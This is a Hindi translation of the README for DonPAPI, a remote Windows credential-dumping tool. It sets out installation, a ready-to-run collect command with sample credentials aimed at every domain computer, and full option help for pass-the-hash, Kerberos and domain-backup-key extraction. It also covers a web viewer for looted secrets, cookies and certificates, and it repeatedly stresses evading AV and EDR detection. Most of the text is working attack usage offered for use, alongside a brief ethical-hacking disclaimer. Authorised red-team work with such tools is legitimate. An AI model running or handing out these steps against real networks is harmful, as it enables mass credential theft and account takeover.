
विंडोज़ वातावरण के लिए स्वचालित रिमोट क्रेडेंशियल डंपर, जो DPAPI रहस्य, ब्राउज़र क्रेडेंशियल्स, प्रमाणपत्र और कॉन्फ़िगरेशन फ़ाइलें निकालता है, जिसमें अंतर्निहित डिफेंस एवेज़न और एक वेब-आधारित लूट व्यूअर शामिल है।
DonPAPI स्वचालित रूप से कई विंडोज कंप्यूटरों पर दूरस्थ रूप से सीक्रेट डंप करता है, जिसमें डिफेंस एवेज़न को ध्यान में रखा गया है।

एकत्रित क्रेडेंशियल्स:
हमने DPAPI के बारे में फ्रेंच में एक टॉक दिया जिसका शीर्षक था DPAPI - Don't Put Administration Passwords In 🇫🇷:
इस उपकरण को pipx के साथ या समर्पित वर्चुअल एनवायरनमेंट में स्थापित किया जाना चाहिए
pipx install donpapi
या (नवीनतम कमिट के साथ)
pipx install git+https://github.com/login-securite/DonPAPI.git
या (डेवलपमेंट के लिए)
git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI
pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui
usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...
Dump revelant information on compromised targets without AV detection. Version: 2.0.0
positional arguments:
{collect,gui} DonPAPI Action
collect Dump secrets on a target list
gui Spawn a Flask webserver to crawl DonPAPI database
options:
-h, --help show this help message and exit
-v Verbosity level (-v or -vv)
-o DIRNAME, --output-directory DIRNAME
Output directory. Default is ~/.donpapi/loot/
यह क्रिया -t में निर्दिष्ट लक्ष्यों पर सीक्रेट एकत्र करने के लिए उपयोग की जाती है।
usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
[-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
[-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
[--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]
options:
-h, --help show this help message and exit
--keep-collecting seconds
Rerun the attack against all targets after X seconds, X being the value
--threads Number of threads
Number of threads (default: 50)
--no-config Do not load donpapi config file (~/.donpapi/donpapi.conf)
authentication:
-t TARGET [TARGET ...], --target TARGET [TARGET ...]
the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, ALL to fetch every
computer hostnames from LDAP
-d domain.local, --domain domain.local
Domain
-u username, --username username
Username
-p password, --password password
Password
-H LMHASH:NTHASH, --hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
--no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
credentials cannot be found, it will use the ones specified in the command line
--aesKey hex key AES key to use for Kerberos Authentication (1128 or 256 bits)
--laps Administrator use LAPS to request local admin password. The laps parameter value is the local admin account use to connect
--dc-ip IP address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
The recover file path. If used, the other parameters will be ignored
attacks:
-c COLLECTORS, --collectors COLLECTORS
Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all
previous) (default: All)
-nr, --no-remoteops Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)
--fetch-pvk Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller
--pvkfile PVKFILE Pvk file with domain backup key
--pwdfile PWDFILE File containing username:password that will be used eventually to decrypt masterkeys
--ntfile NTFILE File containing username:nthash that will be used eventually to decrypt masterkeys
--mkfile MKFILE File containing {GUID}:SHA1 masterkeys mappings
प्रमाणीकरण --domain के साथ एक डोमेन, --username के साथ एक उपयोगकर्ता नाम, और अंततः --password के साथ एक पासवर्ड, --hashes के साथ एक हैश, --aesKey के साथ एक AES कुंजी, या -k के साथ ccache प्रारूप में एक केर्बेरोस टिकट (इम्पैकेट शैली) निर्दिष्ट करके काम करता है।
आप कंप्यूटर पर LAPS के माध्यम से --laps और स्थानीय LAPS खाते के उपयोगकर्ता नाम को इस पैरामीटर के मान के रूप में उपयोग करके भी प्रमाणित कर सकते हैं।
डिफ़ॉल्ट रूप से, DonPAPI निम्नलिखित एकत्र करेगा:
आप --collectors (SharpHound शैली) के साथ प्रत्येक को निर्दिष्ट कर सकते हैं जिसे आप एकत्र करना चाहते हैं। यदि आप --fetch-pvk का उपयोग करते हैं, तो DonPAPI स्वचालित रूप से AD डोमेन की डोमेन बैकअप कुंजी प्राप्त करेगा और इसे मास्टरकीज़ को डिक्रिप्ट करने के लिए उपयोग करेगा। अन्यथा, आप --pvkfile के साथ एक ला सकते हैं। --pwdfile, --ntfile का उपयोग DonPAPI को मास्टरकीज़ को अनलॉक करने के लिए सीक्रेट फीड करने के लिए किया जाता है। लेकिन यदि आपके पास ताज़ा डिक्रिप्ट की गई मास्टरकीज़ हैं, तो आप --mkfile का उपयोग कर सकते हैं।
[!चेतावनी] कुछ संग्रह विधियों को LSA सीक्रेट डंप करने की आवश्यकता होगी (DPAPI मशीन कुंजी प्राप्त करने के लिए)। यह क्रिया शोर करने वाली हो सकती है, और आधुनिक EDR आपको तुरंत ब्लॉक कर देगा। आप इन शोर वाली क्रियाओं से बचने के लिए
-nrका उपयोग कर सकते हैं, लेकिन कुछ सीक्रेट एकत्र नहीं होंगे।
DonPAPI अब Secretsdump व्यवहार को बेहतर बनाने के लिए एक कॉन्फ़िगरेशन फ़ाइल का समर्थन करता है। यह फ़ाइल ~/.donpapi/donpapi.conf पर स्थित होगी, और डिफ़ॉल्ट रूप से यह इस तरह दिखेगी:
[secretsdump]
share = C$
remote_filepath = \Users\Default\AppData\Local\Temp
filename_regex = \d{4}-\d{4}-\d{4}-[0-9]{4}
file_extension = .log
DonPAPI पुनर्प्राप्ति फ़ाइल का समर्थन करता है। हर बार जब आप collect कमांड चलाएंगे, तो यह शेष लक्ष्यों और सभी विकल्पों की एक पुनर्प्राप्ति फ़ाइल सहेजेगा। डिफ़ॉल्ट रूप से, फ़ाइल ~/.donpapi/register/ फ़ोल्डर में स्थित होती है।
कभी-कभी आंतरिक मूल्यांकन में, आप कुछ विशिष्ट लक्ष्यों पर कड़ी मेहनत करना चाहते हैं और उनके कंप्यूटर पर बार-बार सीक्रेट एकत्र करना चाहते हैं। कोई बेवकूफी भरा bash लूप न करें, बस --keep-collecting X का उपयोग करें, जहाँ X वह सेकंड है जिसे आप प्रत्येक संग्रह सत्र के बीच प्रतीक्षा करना चाहते हैं।
अब जब आपने वे सभी सीक्रेट एकत्र कर लिए हैं, तो आप उन्हें ब्राउज़ करना चाहते हैं। DonPAPI आपको एक वेब GUI के साथ सभी एकत्रित सीक्रेट के माध्यम से जाने की अनुमति देता है। इसे लॉन्च करने के लिए, donpapi gui का उपयोग करें।
usage: DonPAPI gui [-h] [--bind BIND] [--port PORT] [--ssl] [--basic-auth user:password]
options:
-h, --help show this help message and exit
--bind BIND HTTP Server bind address (default=127.0.0.1)
--port PORT HTTP Server port (default=8088)
--ssl Use an encrypted connection
--basic-auth user:password
Set up a basic auth
सामान्य
यह स्क्रीन आपको सभी एकत्रित कंप्यूटरों पर पुन: उपयोग किए गए प्रत्येक SAM पासवर्ड, डंप किए गए शेड्यूल किए गए कार्य और LSA से डंप किए गए सेवा खाता पासवर्ड दिखाएगी। आप उन सभी को CSV प्रारूप में निर्यात कर सकते हैं।
सीक्रेट
यह स्क्रीन आपको DonPAPI के साथ लूटे गए प्रत्येक सीक्रेट दिखाएगी। आप कई तत्वों पर खोज सकते हैं और सीक्रेट को CSV में निर्यात कर सकते हैं।
कुकीज़
यह स्क्रीन आपको DonPAPI के साथ लूटी गई प्रत्येक कुकी दिखाएगी। आप कई तत्वों पर खोज सकते हैं और कुकीज़ को CSV में निर्यात कर सकते हैं, लेकिन उन्हें JavaScript कोड में कॉपी-पेस्ट भी कर सकते हैं और अपने ब्राउज़र में पेस्ट कर सकते हैं।
सर्टिफिकेट
यह स्क्रीन आपको DonPAPI के साथ लूटे गए प्रत्येक सर्टिफिकेट दिखाएगी। आप कई तत्वों पर खोज सकते हैं और सर्टिफिकेट को CSV में निर्यात कर सकते हैं, लेकिन यदि कोई सर्टिफिकेट क्लाइंट प्रमाणीकरण की अनुमति देता है, तो हाँ पर क्लिक करने से Certipy कमांड कॉपी-पेस्ट हो जाएगा।
यह उपकरण केवल शैक्षिक और नैतिक हैकिंग उद्देश्यों के लिए है। Login Sécurité इस उपकरण के साथ किए गए दुरुपयोग के लिए जिम्मेदार नहीं है।
GUI फ्रंटएंड Vue3 + Vite.js में विकसित है, और बैकएंड Python Flask है। डिफ़ॉल्ट रूप से, यह http://127.0.0.1:8088 पर एक्सपोज़ होगा, लेकिन आप इसे अपनी पसंद के अनुसार एक्सपोज़ कर सकते हैं, यहाँ तक कि https://0.0.0.0:443 पर भी।
[!चेतावनी] कृपया DonPAPI को कभी भी पूरे नेटवर्क पर इस तरह एक्सपोज़ न करें, यह बहुत खतरनाक हो सकता है। DonPAPI
--sslके साथ HTTPS का समर्थन करता है और आप--basic-authके साथ एक बेसिक ऑथ जोड़ सकते हैं। और इसके अलावा, कृपया DonPAPI को कभी भी इंटरनेट पर इस तरह एक्सपोज़ न करें।
तालिकाओं में किसी मान पर क्लिक करने से वह तुरंत आपके क्लिपबोर्ड पर आ जाएगा। GUI में एक Hide Password चेकबॉक्स उपलब्ध है, ताकि GUI में संवेदनशील डेटा छिपाया जा सके, स्क्रीनशॉट के लिए एकदम सही।
सभी क्रेडिट इन महान लोगों को जाता है जिन्होंने कठिन शोध और कोडिंग की है: